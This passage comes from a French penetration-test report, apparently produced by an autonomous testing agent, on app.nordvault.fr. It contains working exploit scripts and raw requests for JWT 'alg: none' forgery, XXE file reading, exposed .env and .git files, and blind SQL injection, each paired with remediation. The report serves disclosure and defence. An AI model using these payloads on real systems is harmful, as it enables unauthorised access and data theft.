    alt-svc: h3=":443"; ma=86400
    Content-Length: 156
    
    {
     "profil": {
      "id": 11,
      "email": "client-92467@example.invalid",
      "nom": "Test",
      "entreprise": "Exemple",
      "telephone": "",
      "role": "client"
     }
    }

    Artefact d’exploitation

    Reproduction

    1. Créer un compte de test ordinaire et obtenir son JWT signé auprès de POST /api/v1/auth/jeton.
    2. Vérifier que ce jeton permet GET /api/v1/moi mais que GET /api/v1/admin/utilisateurs répond 403.
    3. Vérifier qu’une signature HS256 altérée répond 401 sur /api/v1/moi.
    4. Construire un JWT non signé avec l’en-tête alg: none, les revendications initiales et un point final sans signature ; constater 200 sur /api/v1/moi.
    5. Modifier uniquement la revendication role en admin sur ce JWT non signé ; constater 200 sur /api/v1/admin/utilisateurs, sans lire le corps de la liste.

    Artefact d’exploitation

    text/x-shellscript
    import base64
    import json
    import os
    
    import requests
    
    BASE = "https://app.nordvault.fr"
    
    
    def encode(value):
        raw = json.dumps(value, separators=(",", ":")).encode()
        return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
    
    
    def decode(value):
        return json.loads(base64.urlsafe_b64decode(value + "=" * (-len(value) % 4)))
    
    
    session = [REDACTED]
    login = session.post(
        BASE + "/api/v1/auth/jeton",
        json={"email": os.environ["NOVA_EMAIL"], "mot_de_passe": os.environ["NOVA_PASSWORD"]},
        timeout=10,
    )
    login.raise_for_status()
    signed = login.json()["jeton"]
    header, payload, signature = signed.split(".")
    claims = decode(payload)
    assert claims["role"] == "client"
    unsigned = encode({"alg": "none", "typ": "JWT"}) + "." + encode(claims) + "."
    admin_claims = dict(claims, role="admin")
    forged = encode({"alg": "none", "typ": "JWT"}) + "." + encode(admin_claims) + "."
    bad_signature = signed[:-1] + ("A" if signed[-1] != "A" else "B")
    
    
    def status(path, token):
        response = session.get(
            BASE + path,
            headers={"Authorization": "Bearer " + token},
            timeout=10,
            stream=True,
        )
        result = (response.status_code, response.headers.get("Content-Length"))
        response.close()
        return result
    
    
    print("client /moi:", status("/api/v1/moi", signed))
    print("bad signature /moi:", status("/api/v1/moi", bad_signature))
    print("unsigned /moi:", status("/api/v1/moi", unsigned))
    print("client /admin/utilisateurs:", status("/api/v1/admin/utilisateurs", signed))
    print("forged admin /admin/utilisateurs:", status("/api/v1/admin/utilisateurs", forged))

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  5. Moyenne

    5. Entités XML externes permettant la lecture d’un fichier local dans l’import des commandes

    https://app.nordvault.fr/api/v1/import-commandes

    Score CVSS 3.1
    4.3
    Faiblesse (CWE)
    CWE-611
    Catégorie OWASP
    A05 · Mauvaise configuration de sécurité

    Description

    L’API authentifiée POST /api/v1/import-commandes résout une entité XML externe pointant vers un fichier local et en renvoie le contenu dans importees[0].reference. Un compte client créé par l’inscription publique suffit à lire ainsi un fichier accessible au processus serveur.

    Impact

    La réponse a révélé le contenu de /etc/hostname, un fichier local qui ne fait pas partie des données de commande soumises. La preuve établit une lecture limitée du système de fichiers avec un compte client ; elle ne démontre ni accès à des secrets, ni SSRF, ni modification persistante des commandes.

    Analyse technique

    Le corps application/xml accepte une déclaration DOCTYPE et développe les entités dans l’élément <reference>. L’entité interne de contrôle produit SAFE_LITERAL, tandis que l’entité externe SYSTEM "file:///etc/hostname" produit nova-web-01 dans la réponse JSON. Un chemin inexistant produit même Couldn't open file /etc/nova-nonexistent-validation-marker dans le champ reference, ce qui confirme la tentative d’ouverture côté serveur. Le parseur ne refuse donc pas les définitions d’entités externes ni leur résolution locale avant de construire la réponse. Une requête sans session valide reçoit 401, ce qui limite l’attaque aux comptes authentifiés.

    Remédiation

    1. Configurer le parseur XML utilisé par l’import pour interdire les déclarations DOCTYPE et désactiver la résolution des entités externes, y compris l’accès aux fichiers et au réseau. 2. Rejeter les documents qui déclarent des entités et vérifier, par des tests de régression, qu’un XML de commande ordinaire reste accepté tandis qu’une référence file:// ne produit ni lecture ni contenu reflété.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

    Hypothèses de validation

    Un attaquant peut créer un compte client via l’inscription publique. L’accès aux fichiers est limité aux permissions de lecture du processus de traitement XML ; seules ces permissions pour /etc/hostname ont été vérifiées.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    Le contrôle d’authentification existe : la requête sans session valide retourne 401, et le document XML vide retourne 400. Ces contrôles ne filtrent pas les entités externes pour un compte client valide. Les essais n’ont montré ni lecture de fichier secret, ni accès réseau par le parseur, ni écriture ou commande métier persistante ; l’impact est donc limité à la lecture locale démontrée.

    Preuve

    Requête / réponse

    Requête HTTP

    POST /api/v1/import-commandes HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Cookie: [REDACTED]
    # https://curl.se/docs/http-cookies.html
    # This file was generated by libcurl! Edit at your own risk.
    
    app.nordvault.fr	FALSE	/	FALSE	0	nova_jeton	eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOjksImVtYWlsIjoiMWZjYjRlZjY4ZjMwN2JAZXhhbXBsZS5pbnZhbGlkIiwicm9sZSI6ImNsaWVudCIsImp0aSI6Ijc1N2E2OTMwMTU3MjUyOTUiLCJleHAiOjE3OTE3OTA2MDZ9.RobHNPRKRO4j7LO2OKIxZsKx1M4OQACDlfPIBL3sJGI
    Content-Type: application/xml
    Content-Length: 142
    
    <!DOCTYPE commandes [<!ENTITY probe SYSTEM "file:///etc/hostname">]><commandes><commande><reference>&probe;</reference></commande></commandes>

    Réponse HTTP

    HTTP/1.1 401 Unauthorized
    Date: Sun, 11 Oct 2026 23:37:51 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 41
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=BjwDcVxpF7bJfRps3TpmaRDpEbVcgWOwmUudXHd%2BUuOffv2Pr4o9fiXKLMSgNouTs9Y3kPK3yVxUhX8bLx5jqghTPg%2BrsF%2BKZQrMosLiXOjfyTWwrMcYxkePPSjZnslfzbktCrDewzT0"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1f1fbeed28d-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "erreur": "authentification requise"
    }

    Requête / réponse

    Requête HTTP

    POST /api/v1/import-commandes HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Cookie: [REDACTED]
    Content-Type: application/xml
    Content-Length: 0
    
    

    Réponse HTTP

    HTTP/1.1 400 Bad Request
    Date: Sun, 11 Oct 2026 23:37:58 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 89
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=n1gv5Akftpbh2O%2FJ1t4Hl5lWmHEbMa8mkDAyBquErUl2WatxXDGuFHQBQXFshv%2F7Ow8R3OJI6lo764Gy527eHh1%2BSjVr7MgOvVwlSG01VaFKDWi2j%2FMR9z%2F%2FRZeekvD6pSibRmW4v5oT"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b21edcc33a88-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "erreur": "XML invalide : no element found: line 1, column 0",
     "avertissements": []
    }

    Requête / réponse

    Requête HTTP

    POST /api/v1/import-commandes HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Cookie: [REDACTED]
    Content-Type: application/xml
    Content-Length: 142
    
    <!DOCTYPE commandes [<!ENTITY probe SYSTEM "file:///etc/hostname">]><commandes><commande><reference>&probe;</reference></commande></commandes>

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:59 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 102
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=CUCXlovR7t3KD%2F3CQGlwwQahBwrAIyl4201kDrgTtZcKvaMfS9bLfJi3Kg97m1St2gEIREnDC8YGrsAyb4orBZs9gedifohuJ99EMGyTbdBXV1lcyFJONx18omcvAOZzYkAuLwBMPDeq"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b2210ddfbbc7-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "importees": [
      {
       "reference": "nova-web-01",
       "quantite": ""
      }
     ],
     "avertissements": []
    }

    Artefact d’exploitation

    Reproduction

    1. Créer un compte client par le parcours d’inscription public et récupérer son cookie de session nova_jeton.
    2. Soumettre à POST /api/v1/import-commandes le document XML du script avec Content-Type: application/xml et ce cookie.
    3. Constater le statut 200 et la valeur importees[0].reference égale au contenu de /etc/hostname ; comparer avec la réponse 401 obtenue sans cookie valide.

    Artefact d’exploitation

    text/x-shellscript
    import os
    import requests
    
    url = "https://app.nordvault.fr/api/v1/import-commandes"
    xml = '<!DOCTYPE commandes [<!ENTITY probe SYSTEM "file:///etc/hostname">]><commandes><commande><reference>&probe;</reference></commande></commandes>'
    response = requests.post(
        url,
        headers={"Content-Type": "application/xml"},
        cookies={"nova_jeton": os.environ["NOVA_JETON"]},
        data=xml.encode(),
        timeout=10,
    )
    print(response.status_code, response.json())

    Requête / réponse

    Requête HTTP

    POST /api/v1/import-commandes HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Cookie: [REDACTED]
    Content-Type: application/xml
    Content-Length: 168
    
    <!DOCTYPE commandes [<!ENTITY probe SYSTEM "file:///etc/nova-nonexistent-validation-marker">]><commandes><commande><reference>&probe;</reference></commande></commandes>

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:59 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 160
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=NExgToydgZW0dNCostNpDC9mAS6O6Vpw0bExdfrZGGIXCh9VvNHeT5QLC8t%2BfJqpC6UOXVFG3B33mGchVFW%2FJxuE0rsuQBSVLnf%2FFrt%2Fwl1zEZ%2FI8xIOdgYPNvU1RDz4DkDxdxXr8zWZ"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b2204b3123fb-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "importees": [
      {
       "reference": "curl: (37) Couldn't open file /etc/nova-nonexistent-validation-marker",
       "quantite": ""
      }
     ],
     "avertissements": []
    }

    Requête / réponse

    Requête HTTP

    POST /api/v1/import-commandes HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    Cookie: [REDACTED]
    Content-Type: application/xml
    Content-Length: 127
    
    <!DOCTYPE commandes [<!ENTITY probe "SAFE_LITERAL">]><commandes><commande><reference>&probe;</reference></commande></commandes>

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:59 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 103
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=QNTU%2BuW7IvGxNgU3UX8wEbQL0I6FN2ZstGUCUCVlSJurOvmkg3wIKsGVD7u2qmxAqblY8CKeqFIWA7TR6Vad25eAvgKAYZqeg4bB4tecZwU8Sh5BNfFnaAeNbzTEXCO5PUHPK%2Bm09kSQ"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b21f9978f466-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "importees": [
      {
       "reference": "SAFE_LITERAL",
       "quantite": ""
      }
     ],
     "avertissements": []
    }

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  6. Moyenne

    6. Exposition anonyme de fichiers .env et .git/config contenant des secrets de configuration

    https://app.nordvault.fr/.env

    Score CVSS 3.1
    5.3
    Faiblesse (CWE)
    CWE-552
    Catégorie OWASP
    A01 · Contrôle d’accès défaillant

    Description

    Le serveur publie directement les fichiers .env et .git/config à tout visiteur non authentifié. Ils révèlent des variables de configuration et une URL de dépôt comportant des identifiants intégrés ; la validité de ces identifiants n'a pas été établie.

    Impact

    Une requête anonyme permet de lire les noms et valeurs de configuration APP_ENV, JWT_SECRET, DATABASE_URL (avec identifiant et mot de passe), NOVA_AUDIT, ainsi qu'un identifiant et un mot de passe dans l'URL du dépôt Git. Cette divulgation de données non destinées au public est démontrée ; aucun accès à la base de données ou au dépôt distant, aucune réutilisation des secrets et aucune reconstruction du code source ne sont démontrés.

    Analyse technique

    Les chemins de fichiers cachés sont servis tels quels par le serveur Web sans contrôle d'accès : GET /.env retourne 200 OK, Content-Type: text/plain; charset=utf-8 et Content-Length: 143; GET /.git/config retourne 200 OK, Content-Type: text/plain et Content-Length: 163. Le premier contient les clés APP_ENV, JWT_SECRET, DATABASE_URL et NOVA_AUDIT; l'URL de remote "origin" dans le second comporte des composantes utilisateur et mot de passe. GET /.git/HEAD retourne aussi 200 OK et indique refs/heads/prod. Les chemins inexistants répondent 404, ce qui écarte une page de repli universelle. Aucun code serveur n'étant disponible, la directive d'hébergement exacte qui rend ces fichiers publics reste inconnue.

    Remédiation

    1. Empêcher le serveur Web et tout frontal de servir les fichiers cachés et les répertoires .git, en vérifiant les chemins accessibles avec et sans réécriture d'URL. 2. Placer la configuration et les métadonnées Git hors de la racine documentaire, puis supprimer leurs copies publiées et purger les éventuels caches. 3. Examiner la portée et la validité des identifiants exposés ; révoquer et remplacer sans délai tout secret opérationnel, puis contrôler les journaux d'accès pour déterminer s'ils ont déjà été consultés. 4. Ajouter une vérification automatisée du déploiement exigeant un refus pour /.env, /.git/config et /.git/HEAD.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

    Hypothèses de validation

    Le visiteur n'a besoin d'aucun compte. L'impact prouvé est la lecture de contenu de configuration non public ; la validité et les privilèges des identifiants exposés ne sont pas présumés.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    Les valeurs observées ressemblent en partie à des exemples : notamment, le secret JWT est une chaîne placeholder courte, et le mot de passe intégré à l'URL Git évoque un jeton non opérationnel. Les fichiers /.git/index, /.git/packed-refs, /.git/refs/heads/prod et /.git/objects/info/packs renvoient 404, donc il n'existe pas de preuve de reconstruction du dépôt. Aucun identifiant n'a été utilisé et le dépôt distant n'a pas été contacté. Ces limites empêchent d'affirmer une compromission de comptes ou de services, mais n'annulent pas la divulgation directe de fichiers de configuration distinctement servis en 200.

    Preuve

    Artefact d’exploitation

    Reproduction

    1. Depuis une session sans cookie ni en-tête d'autorisation, demander /.env et constater la réponse 200 contenant les quatre noms de variables ; limiter l'inspection au constat de leur présence, sans publier les valeurs.
    2. Demander /.git/config et constater la réponse 200 avec une URL remote "origin" possédant un utilisateur et un mot de passe ; ne pas contacter ce dépôt.
    3. Demander /.git/HEAD, puis comparer avec /.env.missing, /.git/nonexistent, /.git/index et /.git/refs/heads/prod ; seuls les trois premiers fichiers existants sont servis.

    Artefact d’exploitation

    text/x-shellscript
    import re
    import urllib.error
    import urllib.request
    from urllib.parse import urlsplit
    
    base = "https://app.nordvault.fr"
    for path in ("/.env", "/.git/config", "/.git/HEAD", "/.env.missing", "/.git/nonexistent"):
        try:
            with urllib.request.urlopen(base + path, timeout=10) as response:
                status, body = response.status, response.read(4096).decode("utf-8", "replace")
        except urllib.error.HTTPError as error:
            status, body = error.code, ""
        print(path, status)
        if path == "/.env" and status == 200:
            print("configuration keys:", all(re.search(r"^" + key + r"=", body, re.M) for key in ("APP_ENV", "JWT_SECRET", "DATABASE_URL", "NOVA_AUDIT")))
        if path == "/.git/config" and status == 200:
            remote = re.search(r"^\s*url\s*=\s*(\S+)", body, re.M)
            parsed = urlsplit(remote.group(1)) if remote else None
            print("remote contains username/password:[REDACTED], bool(parsed and parsed.username and parsed.password))
        if path == "/.git/HEAD" and status == 200:
            print("production ref:", body.strip() == "ref: refs/heads/prod")

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  7. Moyenne

    7. Injection SQL aveugle dans le paramètre sku de /api/v1/stock

    https://app.nordvault.fr/api/v1/stock?sku=

    Score CVSS 3.1
    5.3
    Faiblesse (CWE)
    CWE-89
    Catégorie OWASP
    A03 · Injection

    Description

    Le paramètre public sku de /api/v1/stock permet d’injecter une condition SQL et d’en lire le résultat dans en_stock, sans authentification. L’oracle divulgue des attributs d’un produit inactif absent du catalogue et de l’API publique.

    Impact

    Un visiteur non authentifié peut inférer, par des questions booléennes, des informations métier non publiées : la présence d’un produit id=10, son statut active=0, sa référence PAP-AGE-2025 et le deuxième caractère de cette référence. La confidentialité démontrée est limitée (C:L) à ces attributs ; aucune donnée personnelle, extraction massive, écriture SQL ou modification durable n’a été démontrée.

    Analyse technique

    La valeur sku est vraisemblablement interpolée dans une requête SQL sans paramètre lié : une apostrophe clôt le littéral, OR ajoute une expression choisie par l’appelant, puis -- neutralise la suite. Pour le SKU inexistant ZZZ-NO-SKU, OR 1=1 rend en_stock: true et OR 1=2 laisse en_stock: false. Une sous-requête sur sqlite_master et sqlite_version() établit l’évaluation réelle d’expressions SQL. La même voie donne true pour (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=1, false pour =0 et distingue le caractère A du caractère Z à la position 2 du SKU. GET /catalogue et GET /api/v1/produits ne publient que les identifiants 1 à 9 ; GET /produit/10 retourne 404. Le résultat SQL franchit ainsi la frontière entre les lignes internes de products et les données visibles dans les interfaces publiques observées.

    Remédiation

    1. Construire la requête de stock avec un paramètre lié pour la valeur de sku, sans interpolation dans le texte SQL, sur tous les chemins vers cette requête. 2. Vérifier le format attendu des SKU et limiter les droits SQL de la connexion applicative aux opérations nécessaires. 3. Ajouter des tests de non-régression avec les paires de prédicats ci-dessus : ils doivent tous retourner le même résultat que le SKU inexistant.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

    Hypothèses de validation

    L’endpoint est publiquement accessible sans session. La preuve utilise uniquement des prédicats de lecture sur un produit inactif et des métadonnées non personnelles ; l’accès à d’autres tables, les privilèges SQL effectifs et l’exposition de données sensibles restent non vérifiés.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    L’alternance pourrait provenir d’une simple réflexion du paramètre ou d’un effet de stock, mais le SKU de référence inexistant reste false et les paires ne changent qu’une comparaison SQL (=1/=0 puis caractère A/Z). Les interfaces publiques contrôlées montrent seulement les identifiants 1 à 9 et refusent le détail 10 ; elles ne prouvent pas qu’aucune autre publication du produit n’existe. Aucun balayage de tables ni accès à des informations personnelles ne justifie une confidentialité élevée : C:L demeure la limite étayée.

    Preuve

    Artefact d’exploitation

    Reproduction

    1. Consulter sans session le catalogue et la liste de produits publique ; constater que leurs identifiants vont de 1 à 9. Vérifier que /produit/10 retourne 404.
    2. Interroger /api/v1/stock avec le SKU inexistant ZZZ-NO-SKU et constater en_stock: false.
    3. Soumettre les deux comparaisons count(*) du script pour le produit inactif id=10, l’une égale à 1 et l’autre à 0 ; constater respectivement true et false.
    4. Soumettre les deux comparaisons du deuxième caractère de sku, avec A puis Z ; constater respectivement true et false. Arrêter après cette preuve limitée, sans énumérer d’autres produits ni données personnelles.

    Artefact d’exploitation

    text/x-shellscript
    import requests
    
    base = "https://app.nordvault.fr"
    session = [REDACTED]
    public_products = session.get(f"{base}/api/v1/produits", timeout=8, allow_redirects=False)
    public_products.raise_for_status()
    print("public_ids", [product["id"] for product in public_products.json()["produits"]])
    print("product_10", session.get(f"{base}/produit/10", timeout=8, allow_redirects=False).status_code)
    
    payloads = [
        "ZZZ-NO-SKU",
        "ZZZ-NO-SKU' OR (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=1 -- ",
        "ZZZ-NO-SKU' OR (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=0 -- ",
        "ZZZ-NO-SKU' OR substr((SELECT sku FROM products WHERE id=10 AND active=0),2,1)='A' -- ",
        "ZZZ-NO-SKU' OR substr((SELECT sku FROM products WHERE id=10 AND active=0),2,1)='Z' -- ",
    ]
    for sku in payloads:
        response = session.get(f"{base}/api/v1/stock", params={"sku": sku}, timeout=8, allow_redirects=False)
        response.raise_for_status()
        print(response.json()["en_stock"])

    Requête / réponse

    Requête HTTP

    GET /api/v1/stock?sku=ZZZ-NO-SKU%27+OR+%282%2A3%29%3D7+--+ HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: python-requests/2.34.2
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:45 GMT
    Content-Type: application/json; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=HlQqhFyX0w%2BfFUYULFsj7IMOsqdw0LyHU5M%2BoD5h3ckqY5cDEQTJiHccCNg60PDGXyEJOWGjqfhPba8J7wRGZ00nO%2F%2BNgsuUN65h3fVeB%2F8AkCaYUgsmdOpJHMF5jxstqS%2BE%2FiZnSfiX"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b055bd11d2d3-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 60
    
    {
     "sku": "ZZZ-NO-SKU' OR (2*3)=7 -- ",
     "en_stock": false
    }

    Requête / réponse

    Requête HTTP

    GET /api/v1/stock?sku=ZZZ-NO-SKU%27+OR+%28SELECT+count%28%2a%29+FROM+products+WHERE+id%3d10+AND+active%3d0+AND+sku%3d%27PAP-AGE-2025%27%29%3d1+--+ HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:40:24 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 133
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=9XcrwB68wc3phuNq2itWtUlH5eavvAEAgkxaIByXtYvaNeyzg4PyMa%2BV8mRdZF09N9gnCNN57Fd7NAy3Ehwv6O91oAArQx7pmUQEN4hXeGNbCEG49qk2UWw8H6N3aNFn%2Foitz2aCzKL3"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b5afc889dbe6-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "sku": "ZZZ-NO-SKU' OR (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=1 -- ",
     "en_stock": true
    }

    Requête / réponse

    Requête HTTP

    GET /produit/10 HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 404 Not Found
    Date: Sun, 11 Oct 2026 23:40:24 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ArMRETtbtfm3g1zKK%2B8f4ZOM7ZBV8skyIT%2FKkc8hJaQ0ajFbdTasZ6V1brGznfLr9J%2FaEnUncjibSAOv8YpUZ86NAnHvVW9NgrYATrLvDJNhE%2BteL%2FOk6oVXn%2BDsd0psWiE7EeopGaiT"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b5addf6499cc-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2408
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Produit introuvable - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Produit introuvable</h1></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b5addf6499cc',t:'MTc5MTc2MjAyNA=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    GET /api/v1/stock?sku=ZZZ-NO-SKU%27+OR+%282%2A3%29%3D6+--+ HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: python-requests/2.34.2
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:36:45 GMT
    Content-Type: application/json; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=uxR096K7cuH9wKmtR88H5MPbn0zXfWSmnhIwG56BSPEPHL2Rt5XoloVkLFcUP%2FujCUa%2Fv01HqOpask%2FaNxHMWrJEjw4WQ6VjvHcGN30JNUFqkWifW7fGHAHybBcDX%2Fwfy5uM6VTVerm7"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b0554c6dd2d3-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 59
    
    {
     "sku": "ZZZ-NO-SKU' OR (2*3)=6 -- ",
     "en_stock": true
    }

    Requête / réponse

    Requête HTTP

    GET /api/v1/stock?sku=ZZZ-NO-SKU%27+OR+%28SELECT+count%28%2a%29+FROM+products+WHERE+id%3d10+AND+active%3d0+AND+sku%3d%27PAP-AGE-2025%27%29%3d0+--+ HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:40:25 GMT
    Content-Type: application/json; charset=utf-8
    Content-Length: 134
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=t16lgVJU8p%2BYTBiEc%2B%2FB0ZhJ%2B%2BigfMzssD09ifdJfsIMRbg4XacPX4jZPAKDaf%2FD0K3VVYBYiwEB9OqGD8mhQ%2BOKv0RW7IBKnE%2BsjK3fdd8duGwtNLa8hp9V%2FrVOOjYtsm6GQIOvgdrb"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b5b06d7ddbcd-FRA
    alt-svc: h3=":443"; ma=86400
    
    {
     "sku": "ZZZ-NO-SKU' OR (SELECT count(*) FROM products WHERE id=10 AND active=0 AND sku='PAP-AGE-2025')=0 -- ",
     "en_stock": false
    }

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  8. Moyenne

    8. Injection SQL non authentifiée dans le filtre categorie du catalogue

